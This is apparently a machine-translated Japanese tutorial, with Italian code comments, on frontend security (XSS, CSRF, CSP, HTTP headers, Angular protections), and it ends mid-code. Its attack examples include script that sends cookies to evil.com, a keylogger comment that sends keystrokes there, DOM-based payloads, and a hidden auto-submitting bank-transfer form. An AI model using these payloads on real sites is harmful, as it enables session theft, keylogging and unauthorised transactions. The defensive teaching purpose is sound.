02 - XSS、CSRF、CSP: フロントエンドのセキュリティ
フロントエンドは、ユーザーとアプリケーション間の最初の接点です。各入力フィールド、 すべての URL、すべての HTTP リクエストは、潜在的な攻撃ベクトルを表します。 2025 年、シングルページで アプリケーション (SPA)、プログレッシブ Web アプリ (PWA)、ハイブリッド SSR/CSR アーキテクチャ、攻撃対象領域 フロントエンドの領域が大幅に拡大しました。フロントエンドのセキュリティを支配する 3 つの頭字語: XSS (クロスサイト スクリプティング)、 CSRF (クロスサイトリクエストフォージェリ) CSP (コンテンツセキュリティポリシー)。これら 3 つの領域をマスターすることが保護を意味します ユーザーがセッションを盗んだり、不正なアクションを実行したり、インジェクトしたりするのを防ぎます。 悪意のあるコード。
この記事では、脆弱なコードの実際の例を使用して、各攻撃を詳しく分析します。 安全で実用的な構成と完全なチェックリストを備え、安全性を確保します。 角度のあるアプリケーション。
何を学ぶか
- 3 種類の XSS (リフレクト、ストア、DOM ベース) と実際のペイロードの例
- CSRF 攻撃の仕組みと Cookie だけでは不十分な理由
- Angular、Express、Nginx の実用的な構成を備えたすべての CSP ディレクティブ
- 重要なセキュリティ HTTP ヘッダーとその構成方法
- Angular に組み込まれた XSS および CSRF 保護とそれらを無効にしない方法
- AI が生成したコードの 86% が XSS テストに失敗する理由
- フロントエンドのセキュリティをテストするための専門ツール
最新のフロントエンドの攻撃対象領域
最新の Web アプリケーションは、サーバーによって提供される単純な HTML ページではなくなりました。スパのような Angular、React、または Vue で構築されたものは、ルーティング、状態、認証、ロジックを処理します。 ブラウザで直接ビジネスを行えます。これにより、表面のかなりの部分が移動します。 サーバーからクライアントへの攻撃。
最新のフロントエンドにおける主な攻撃ベクトルは次のとおりです。
- サニタイズされていないユーザー入力: テキストフィールド、URL、クエリ文字列、フラグメントハッシュ、Cookie、HTTPヘッダー、ファイルアップロード、localStorage、WebSocketメッセージ
- 動的な DOM レンダリング:
innerHTML,document.write()、エスケープされていないテンプレート文字列、外部データに基づく条件付きレンダリング - サードパーティの依存関係: CDN によってロードされる JavaScript ライブラリ、分析スクリプト、ソーシャル ウィジェット、外部フォント
- クロスオリジン通信: APIリクエスト、postMessage、iframe埋め込み、WebSocket接続
- ローカルストレージ: localStorage、sessionStorage、IndexedDB には、悪意のあるスクリプトがアクセスできる機密データが含まれる可能性があります
重要なデータ: フロントエンド攻撃の発生率
HackerOne 2025 レポートによると、 クロスサイト スクリプティングが依然として最大の脆弱性 報告されました バグ報奨金プログラムでは、全レポートの 18% を占めています。 CSRF が 7% で続きます。これら 2 つの攻撃は合わせて全体の 4 分の 1 を占めます。 専門のセキュリティ研究者によって発見された脆弱性。
クロスサイト スクリプティング (XSS): 最も人気のある攻撃
Il クロスサイト スクリプティング (XSS) 攻撃者がインジェクションに成功したときに発生します 信頼できる Web サイトのコンテキストで、別のユーザーのブラウザで JavaScript コードを実行します。 この攻撃は、ユーザーのブラウザがサイトに対して持っている信頼、つまり挿入されたコードを悪用します。 アプリケーションの正規の JavaScript と同じ権限で実行されるため、 Cookie、セッション、トークン、およびページ上のあらゆるデータにアクセスします。
XSS には主に 3 つの亜種があり、それぞれ異なる注入メカニズムを備えています。
1. 反映された XSS (非永続的)
Il 反射型 XSS ユーザー入力が含まれている場合に発生します。 サニタイズなしのサーバー HTTP 応答。悪意のあるペイロードは URL に含まれており、 HTMLページに「反映」されました。攻撃者は被害者にリンクをクリックさせる必要があります 専用 (フィッシング、ソーシャル エンジニアリング)。
// L'attaccante costruisce questo URL e lo invia alla vittima:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Il server genera la pagina con il termine di ricerca non sanitizzato:
<h2>Risultati per: <script>fetch('https://evil.com/steal?...')</script></h2>
// Il browser della vittima esegue lo script: il cookie di sessione
// viene inviato al server dell'attaccante
// VULNERABILE: il parametro viene inserito direttamente nell'HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// SICURO: output encoding con escape dei caratteri HTML
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// <script> diventa <script> - non viene eseguito
2. 保存された XSS (永続的)
Lo 保存された XSS そして最も危険な亜種。悪意のあるペイロードが保存される サーバー データベースに永続的に保存されます (たとえば、コメント、ユーザー プロファイル、 メッセージ) が表示され、そのリソースを表示するすべてのユーザーに配信されます。必要ありません。 被害者は特別なリンクをクリックします。汚染されたページにアクセスするだけです。
// L'attaccante inserisce questo commento nel blog:
const maliciousComment = `
Ottimo articolo!
<img src="x" onerror="
// Keylogger: cattura tutto ciò che l'utente digita
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABILE: il commento viene salvato e renderizzato senza sanitizzazione
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // Nessuna sanitizzazione!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// Nella pagina del blog, il commento viene inserito con innerHTML:
commentDiv.innerHTML = comment.text; // Lo script viene eseguito!
// SICURO: sanitizzazione sia in input che in output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Sanitizzazione in input: rimuovi tag pericolosi
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// In output: usa textContent invece di innerHTML quando possibile
commentDiv.textContent = comment.text;
3. DOM ベースの XSS
Il DOMベースのXSS ペイロードが決して通過しないため、最も危険です
サーバー。攻撃は完全にブラウザ内で発生します。ページ上の正規の JavaScript コードです。
攻撃者が制御するソース (URL、フラグメント ハッシュ、 document.referrer,
postMessage) をサニタイズせずに DOM に挿入します。
// VULNERABILE: legge dal fragment hash e inserisce nel DOM
// URL malevolo: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// Il browser esegue il codice nell'attributo onerror!
// VULNERABILE: document.referrer usato come sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Torna indietro</a>';
// document.referrer può contenere payload XSS
// VULNERABILE: postMessage senza validazione dell'origine
window.addEventListener('message', (event) => {
// Accetta messaggi da qualsiasi origine!
document.getElementById('widget').innerHTML = event.data.html;
});
// SICURO: sanitizzazione e validazione
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, non innerHTML
// SICURO: postMessage con validazione dell'origine
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Rifiuta messaggi da origini non fidate
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
XSS 攻撃の実際の影響
XSS 攻撃が成功すると、甚大な被害が生じる可能性があります。攻撃者が一度にできることは次のとおりです 被害者のブラウザで JavaScript を実行します。
| 攻撃タイプ | 説明 | 重大度 |
|---|---|---|
| セッションハイジャック | セッション Cookie を盗んでユーザーになりすます | 批判 |
| キーロギング | ユーザーが押したすべてのキーのキャプチャ (パスワード、クレジット カード) | 批判 |
| 汚損 | 評判を傷つけるためにページの表示コンテンツを変更すること | 高い |
| フィッシング | 認証情報を盗むための偽のログイン フォームの挿入 | 批判 |
| 仮想通貨マイニング | 被害者のブラウザで仮想通貨マイナーを実行する | 平均 |
| XSS ワーム | 他のユーザーのプロファイルに感染して自己増殖するスクリプト | 批判 |
| データの引き出し | ページからの機密データの読み取りと送信 (トークン、個人データ) | 批判 |
XSS 防止: 多層防御
XSS 防止にはアプローチが必要です 多層防御: に頼らないでください 単一レベルの防御ですが、複数の補完的な技術を組み合わせます。目標は、次のことを確実にすることです。 信頼できないデータはブラウザによってコードとして解釈されることはありません。
1. 出力エンコーディング (第一防御線)
出力エンコーディングは、特殊文字を DOM に挿入する前に安全な HTML エンティティに変換します。 そして、Reflected XSS と Stored XSS に対する最も重要な防御策です。
// Contesto HTML: escape dei caratteri HTML
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// Contesto attributo HTML
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// Contesto URL: codifica i parametri
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// Contesto JavaScript: JSON.stringify con escape
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// Contesto CSS: evita completamente input utente in CSS
// NON fare mai: element.style.background = userInput;
2. DOMPurify による入力サニタイズ
ユーザー (リッチテキストエディター、マークダウン) から HTML を受け入れる必要がある場合は、次を使用します。 DOMPurify 危険なタグや属性を削除します。
import DOMPurify from 'dompurify';
// Configurazione base: rimuovi tutto il JavaScript
const clean = DOMPurify.sanitize(dirtyHtml);
// Configurazione restrittiva: solo tag formattazione base
const strictClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
// Configurazione per editor rich-text
const richTextClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'br', 'ul', 'ol', 'li',
'strong', 'em', 'a', 'img', 'blockquote', 'pre', 'code'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
});
// Hook personalizzato: rimuovi attributi on*
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (data.attrName.startsWith('on')) {
data.keepAttr = false; // Rimuovi onclick, onerror, onload, etc.
}
});
3. Angular での XSS 保護
Angular は、堅牢な組み込み XSS 保護を提供します。フレームワークが扱うのは、 すべての値 デフォルトでは信頼できない そして、DOM に挿入する前に自動的にサニタイズします。 この保護は、補間、プロパティ バインディング、および属性バインディングに対して機能します。
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SICURO: Angular esegue l'escape automaticamente -->
<p>Commento: {{ userComment }}</p>
<!-- SICURO: Angular sanitizza innerHTML automaticamente -->
<div [innerHTML]="userComment"></div>
<!-- <script> e onerror vengono rimossi automaticamente -->
<!-- SICURO: textContent non interpreta HTML -->
<div [textContent]="userComment"></div>
<!-- PERICOLOSO: bypass del sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Testo</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: SOLO per contenuto che controlli al 100%
// Mai usarlo con input utente!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Contenuto controllato internamente</div>'
);
}
}
Angular があなたを守ってくれないとき
- の使用
bypassSecurityTrustHtml/Script/Style/Url/ResourceUrlユーザーデータ付き - による直接 DOM 操作
ElementRef.nativeElement.innerHTML - の使用
document.write()oeval() - 動的 URL 構築
javascript:プロトコル - エンコードなしのサーバー側レンダリング (Angular Universal カスタム テンプレート)
4. React JSX 自動エスケープ
React は組み込みの XSS 保護も提供します。 JSX は自動的にすべてをエスケープします
レンダリングされた値。唯一の例外はプロップです dangerouslySetInnerHTML、それ
保護をバイパスします (名前自体が警告です)。
// SICURO: JSX esegue l'escape automaticamente
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> diventa testo visibile
}
// PERICOLOSO: bypassa la protezione di React
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// Se html contiene <script>, viene eseguito!
}
// SICURO: sanitizza prima di usare dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
クロスサイト リクエスト フォージェリ (CSRF): 目に見えない攻撃
Il CSRF (クロスサイト リクエスト フォージェリ) ブラウザに強制的にアクセスさせる攻撃 認証されたユーザーが、すでにログインしているサイトに意図しないリクエストを送信する可能性があります。 XSS とは異なり、CSRF は被害サイトにコードを挿入しません。CSRF は、ブラウザーが 各リクエストとともにセッション Cookie を関連付けられたドメインに自動的に送信します。 どのサイトがリクエストを生成したかは関係ありません。
CSRF 攻撃の仕組み
CSRF 攻撃の流れは次の手順に従います。
- ユーザーが認証する su
bank.example.comそしてセッションクッキーを受け取ります - ユーザーが悪意のあるサイトにアクセスした場合 (
evil.example.com) 別のタブで - 悪意のあるサイトには次の内容が含まれています へのリクエストを生成する非表示のフォームまたは画像
bank.example.com - ブラウザが自動的に送信します リクエストに含まれるユーザーのセッション Cookie
- 銀行サーバー 一見正当なリクエストを受け取り、それを実行します
<!-- Pagina malevola su evil.example.com -->
<html>
<body>
<h1>Congratulazioni! Hai vinto un premio!</h1>
<!-- Form nascosto che effettua un bonifico -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- Il form viene inviato automaticamente -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternativa: immagine che genera una GET (meno pericolosa) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
クッキーが足りないから
Cookie は、リクエストごとにブラウザによって送信元のドメインに自動的に送信されます。 を発行しました。サーバーは正当なリクエストと CSRF のみのリクエストを区別できません Cookie を見ると、どちらにも有効なセッション Cookie が含まれています。仕組みが必要だ さらに、リクエストが正規のサイトからのものであることを確認します。
CSRF 防止: 4 つの基本的なテクニック
1. SameSite Cookie 属性
属性 SameSite Cookie と最も最新かつ効果的な CSRF 防御について。
ブラウザがクロスサイトリクエストで Cookie を送信するタイミングを制御します。
| SameSite 値 | 行動 | CSRF保護 |
|---|---|---|
Strict |
Cookie は同じサイトのリクエストに対してのみ送信されます。通常のリンクであっても、クロスサイトリクエストには送信されません | 最大 |
Lax |
トップレベルのナビゲーション GET (リンク) には Cookie が送信されますが、POST、iframe、またはクロスサイト AJAX リクエストには送信されません | 良い (Chrome のデフォルト) |
None |
Cookie は常に送信されます (必須 Secure)。正当なクロスサイト統合に必要 |
なし |
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true, // Non accessibile da JavaScript
secure: true, // Solo HTTPS
sameSite: 'lax', // Protezione CSRF
maxAge: 3600000, // 1 ora
domain: '.example.com',
path: '/'
},
resave: false,
saveUninitialized: false
}));
2. シンクロナイザートークンパターン(CSRFトークン)
古典的で最も堅牢なパターン: サーバーはセッションごとに一意のランダム トークンを生成します。 これをフォームに隠しフィールドとして含め、各 POST リクエストでチェックします。悪質なサイト 正規のサイトの DOM にアクセスできないため、トークンを知ることができません。
import crypto from 'crypto';
// Middleware: genera il CSRF token e lo salva nella sessione
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Rendi il token disponibile nei template
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: verifica il CSRF token nelle richieste POST/PUT/DELETE
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF non valido' });
}
}
next();
}
// Nel form HTML:
// <input type="hidden" name="_csrf" value="TOKEN_GENERATO">
3. 二重送信 Cookie パターン
ステートレスな代替方法: サーバーは CSRF トークンを Cookie とフォーム フィールドの両方として送信します。 受け取ったら、両方の値が一致していることを確認してください。悪意のあるサイトが送信する可能性があるのは、 Cookie (ブラウザはこれを自動的に実行します) ですが、Cookie の値を読み取ることができません。 それをリクエスト本文に含めます。
import crypto from 'crypto';
// Il server genera il token e lo invia come cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // Il JavaScript del sito deve poterlo leggere
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validazione: il valore nel cookie deve corrispondere a quello nell'header
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. オリジン/リファラーヘッダーの検証
ヘッダーを確認してください Origin o Referer リクエストの対応
サイトのドメインに。これらのヘッダーは次の可能性があるため、主要な防御ではなく追加の防御となります。
一部の文脈では存在しません。
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: se manca l'origin, rifiuta la richiesta
return res.status(403).json({ error: 'Origin header mancante' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Origin non autorizzato' });
}
}
next();
}
Angular での CSRF 保護
Angular は、組み込みの CSRF サポートを提供します。 HttpClient。サーバーが送信するとき
クッキー XSRF-TOKEN, Angular はそれを自動的に読み取り、ヘッダーとして含めます。
X-XSRF-TOKEN 各変更リクエスト (POST、PUT、DELETE、PATCH) で。
// app.config.ts - Angular legge XSRF-TOKEN e invia X-XSRF-TOKEN automaticamente
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Nome del cookie (default)
headerName: 'X-XSRF-TOKEN' // Nome dell'header (default)
})
)
]
};
// Server Express: imposta il cookie XSRF-TOKEN
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular deve poterlo leggere
secure: true,
sameSite: 'lax'
}
}));
コンテンツ セキュリティ ポリシー (CSP): XSS に対する究極の防御
La コンテンツ セキュリティ ポリシー (CSP) を確認できる HTTP ヘッダー
ブラウザがロードして実行できるリソース。 XSS に対する最も強力な防御手段は次のとおりです。
たとえ攻撃者がブラウザレベルで動作するとしても <script>
DOM では、CSP ポリシーによって許可されていない場合、ブラウザーはその実行を拒否します。
CSP は次の原則に基づいて動作します。 ホワイトリスト: どれかを明示的に定義します ソースは、リソースの種類 (スクリプト、スタイル、イメージ、フォント、接続) ごとに許可されます。 明示的に許可されていないものはすべてブロックされます。
ヘッダー経由の CSP とメタタグ経由
// 1. Header HTTP (preferito - più sicuro, supporta report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. Meta tag HTML (fallback se non puoi controllare gli header)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTA: il meta tag NON supporta frame-ancestors e report-uri
詳細な CSP ガイドライン
| 指令 | チェック | Esempio |
|---|---|---|
default-src |
他のすべての不指定ディレクティブのフォールバック | 'self' |
script-src |
JavaScript スクリプトのソース | 'self' 'nonce-abc123' |
style-src |
CSSスタイルシートのソース | 'self' https://fonts.googleapis.com |
img-src |
画像ソース | 'self' data: https: |
connect-src |
取得用URL、XHR、WebSocket、EventSource | 'self' https://api.example.com |
font-src |
フォントソース | 'self' https://fonts.gstatic.com |
frame-src |
iframe のソース | 'none' |
frame-ancestors |
iframe にページを埋め込むことができる人 | 'none' (クリックジャッキング対策) |
base-uri |
タグの有効な URL <base> |
'self' |
form-action |
フォームのアクション属性の有効な URL | 'self' |
object-src |
プラグインのソース (Flash、Java アプレット) | 'none' |
Nonce と strict-dynamic: 最新の CSP
システム nonce 特定のスクリプトを認証する最も安全な方法です。サーバー
リクエストごとにランダムな値を生成し、それを CSP ヘッダーと属性の両方に含めます。
スクリプトノンス。正しい nonce を持つスクリプトのみが実行されます。
import crypto from 'crypto';
// Middleware Express: genera un nonce per ogni richiesta
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// Nel template HTML:
// <script nonce="NONCE_GENERATO">...codice legittimo...</script>
// Con 'strict-dynamic': gli script caricati da script con nonce
// sono automaticamente autorizzati (cascading trust)
スクリプトで「unsafe-inline」を避ける理由
指令 'unsafe-inline' in script-src それはほとんど打ち消し合います
XSS に対する完全な CSP 保護。任意のスクリプトの実行を許可します
インライン (攻撃者によって注入されたものを含む)インラインスクリプトが必要な場合は、使用してください
ノンス o ハッシュ の代わりに 'unsafe-inline'。
スタイルについては、 'unsafe-inline' そして多くの場合必要であり、危険性は低いです。
CSP レポート専用モード
運用環境で CSP をアクティブ化する前に、次を使用します。 Content-Security-Policy-Report-Only のために
違反をブロックせずに監視します。これにより、問題を特定して解決できるようになります。
ポリシーを適用する前に互換性の問題を解決してください。
// Report-Only: monitora senza bloccare
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; " +
"script-src 'self'; " +
"report-uri /api/csp-report; " +
"report-to csp-endpoint"
);
// Endpoint per ricevere i report di violazione
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }),
(req, res) => {
const violation = req.body['csp-report'];
console.log('CSP Violation:', {
documentUri: violation['document-uri'],
violatedDirective: violation['violated-directive'],
blockedUri: violation['blocked-uri'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
});
res.status(204).end();
}
);
実践的な CSP: 実環境向けの構成
Express.js を使用した Angular の CSP セットアップ
import helmet from 'helmet';
import crypto from 'crypto';
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
(req, res) => `'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'",
"https://www.googletagmanager.com"
],
styleSrc: [
"'self'",
"'unsafe-inline'", // Necessario per Angular styles
"https://fonts.googleapis.com"
],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: [
"'self'",
"https://api.example.com",
"https://www.google-analytics.com"
],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
crossOriginEmbedderPolicy: false
}));
Nginx の CSP 構成
server {
listen 443 ssl http2;
server_name example.com;
# Content Security Policy
add_header Content-Security-Policy
"default-src 'self'; "
"script-src 'self' https://www.googletagmanager.com; "
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
"img-src 'self' data: https:; "
"font-src 'self' https://fonts.gstatic.com; "
"connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'; "
"object-src 'none'; "
"upgrade-insecure-requests"
always;
# Altri header di sicurezza (vedi sezione dedicata)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
HTTP ヘッダーのセキュリティの必需品
CSP に加えて、セキュリティを大幅に強化する他の HTTP ヘッダーがあります アプリケーションの。それぞれが特定の種類の攻撃から保護します。
| ヘッダ | 推奨値 | 保護 |
|---|---|---|
X-Frame-Options |
DENY |
クリックジャッキングを防止します (iframe 埋め込み) |
X-Content-Type-Options |
nosniff |
MIME スニッフィングを防止します (ブラウザーはコンテンツ タイプを推測しません) |
Strict-Transport-Security |
max-age=31536000; includeSubDomains; preload |
今後のすべての接続に HTTPS を強制する (HSTS) |
Referrer-Policy |
strict-origin-when-cross-origin |
Referer ヘッダーで送信される情報を制御します |
Permissions-Policy |
camera=(), microphone=(), geolocation=() |
不要なブラウザ API を無効にする |
X-XSS-Protection |
0 |
ブラウザーのレガシー XSS フィルターを無効にする (脆弱性が生じる可能性があります) |
Cross-Origin-Opener-Policy |
same-origin |
クロスオリジンドキュメントから閲覧コンテキストを分離します。 |
Cross-Origin-Resource-Policy |
same-origin |
アセットのクロスオリジン読み込みを防止します |
import helmet from 'helmet';
app.use(helmet({
// CSP (configurata separatamente per il nonce)
contentSecurityPolicy: false,
// Previeni clickjacking
frameguard: { action: 'deny' },
// Previeni MIME sniffing
noSniff: true,
// HSTS: forza HTTPS per 1 anno
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// Referrer Policy
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// Disabilita il filtro XSS legacy (può essere sfruttato)
xssFilter: false,
// Cross-Origin policies
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy (non gestito da Helmet)
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()');
next();
});
ヘッダーのテスト
ヘッダーを構成した後、次の無料ツールを使用して結果を確認します。
- securityheaders.com - 完全な HTTP ヘッダー分析 (A ~ F 評価)
- observatory.mozilla.org - Mozilla セキュリティ スキャナー
- csp-evaluator.withgoogle.com - Google CSP 固有のバリデーター
Angular のセキュリティ: 統合された保護
Angular は、開発者を攻撃から保護する堅牢なセキュリティ システムを実装しています。 最も一般的な脆弱性。無効にしないように、その仕組みを理解することが重要です うっかり。
DOM の自動サニタイズ
Angularは値を5つに分類します セキュリティコンテキスト、申請してください それぞれに異なるサニタイズ:
| コンテクスト | バイパス方法 | いつ使用するか |
|---|---|---|
| HTML | bypassSecurityTrustHtml() |
信頼できる CMS からの HTML コンテンツ |
| スタイル | bypassSecurityTrustStyle() |
内部的に計算された動的スタイル |
| URL | bypassSecurityTrustUrl() |
内部ロジックによって構築された URL |
| リソースの URL | bypassSecurityTrustResourceUrl() |
信頼できる CDN からのスクリプト/iframe の URL |
| スクリプト | bypassSecurityTrustScript() |
ほとんどありません - 非常に危険です |
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SICURO: Angular sanitizza automaticamente -->
<div [innerHTML]="htmlContent"></div>
<!-- SICURO: textContent non interpreta HTML -->
<span [textContent]="userInput"></span>
<!-- SICURO con bypass controllato -->
<iframe [src]="safeSrc"></iframe>
<!-- PERICOLOSO: non fare mai questo -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular rimuove <script>, mantiene <b>
userInput = '<script>alert(1)</script>';
// Renderizzato come testo visibile
// SICURO: URL hardcoded e fidato
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
// PERICOLOSO: MAI con input utente
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Potrebbe contenere XSS!
);
private getUserInput(): string {
return ''; // Simulazione
}
}
HttpClient XSRF 保護
フォーム HttpClient Angular は、
二重送信 Cookie メカニズム。有効にするには、サーバーに Cookie を設定させるだけです
XSRF-TOKEN: Angular は自動的にそれを読み取り、ヘッダーとして含めます。
X-XSRF-TOKEN すべての POST、PUT、DELETE、PATCH リクエストで。
// app.config.ts
import {
provideHttpClient,
withXsrfConfiguration,
withInterceptors
} from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
// XSRF automatico
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
}),
// Interceptor personalizzati
withInterceptors([authInterceptor, errorInterceptor])
)
]
};
// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
export const authInterceptor: HttpInterceptorFn = (req, next) => {
// Aggiungi Authorization solo per le API interne
if (req.url.startsWith('/api/')) {
const token = localStorage.getItem('access_token');
if (token) {
const authReq = req.clone({
setHeaders: { Authorization: `Bearer ${token}` }
});
return next(authReq);
}
}
return next(req);
};
CSP と Angular: 課題と解決策
Angular は、コンポーネントのインライン スタイルを生成します (ビューのカプセル化の一部)。これには必要です
'unsafe-inline' in style-src、幸いなことにそれははるかに少ないです
よりも危険 'unsafe-inline' in script-src。スクリプトの場合は、次を使用します。
常にシステム nonce.
// server.ts - Angular Universal con nonce CSP
import { ngExpressEngine } from '@nguniversal/express-engine';
import crypto from 'crypto';
app.engine('html', ngExpressEngine({
bootstrap: AppServerModule
}));
app.get('*', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
// Imposta CSP con il nonce
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
